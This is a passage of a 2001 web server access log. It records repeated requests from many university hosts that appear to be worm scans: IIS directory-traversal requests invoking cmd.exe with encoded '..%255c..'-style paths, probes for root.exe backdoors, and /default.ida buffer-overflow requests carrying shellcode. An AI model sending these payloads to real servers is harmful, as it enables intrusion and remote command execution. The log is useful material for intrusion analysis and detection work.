/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:28:15: [128.134.72.162] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:28:34: [128.134.72.162] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:28:53: [128.134.72.162] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:29:12: [128.134.72.162] "" 20010918 23:29:40: [128.134.72.162] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:29:59: [128.134.72.162] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:30:21: [128.134.72.162] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:30:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:36:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:06: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:40:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:51:07: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 23:56:27: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 23:56:31: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:56:34: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:56:38: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:56:43: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:56:49: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:56:57: access-isdn2-47.hbg.psu.edu [128.118.249.97] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 23:57:07: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 23:57:53: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 00:09:21: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:11: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:15:12: wily-b-049.resnet.purdue.edu [128.211.225.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:18:27: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 00:19:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:21:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:21:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:21:33: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:23:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:23:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:53: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:23:58: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:44: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:26:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:10: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:27:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:50: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:51: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:39:51: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:43:02: zhangpm2.chem.psu.edu [128.118.172.141] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:43:03: zhangpm2.chem.psu.edu [128.118.172.141] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:03: zhangpm2.chem.psu.edu [128.118.172.141] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:04: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:05: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:06: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:06: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:07: zhangpm2.chem.psu.edu [128.118.172.141] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:43:07: server.intldev.uga.edu [128.192.69.9] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 00:48:33: server.intldev.uga.edu [128.192.69.9] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 00:48:33: server.intldev.uga.edu [128.192.69.9] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:34: server.intldev.uga.edu [128.192.69.9] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 00:48:34: 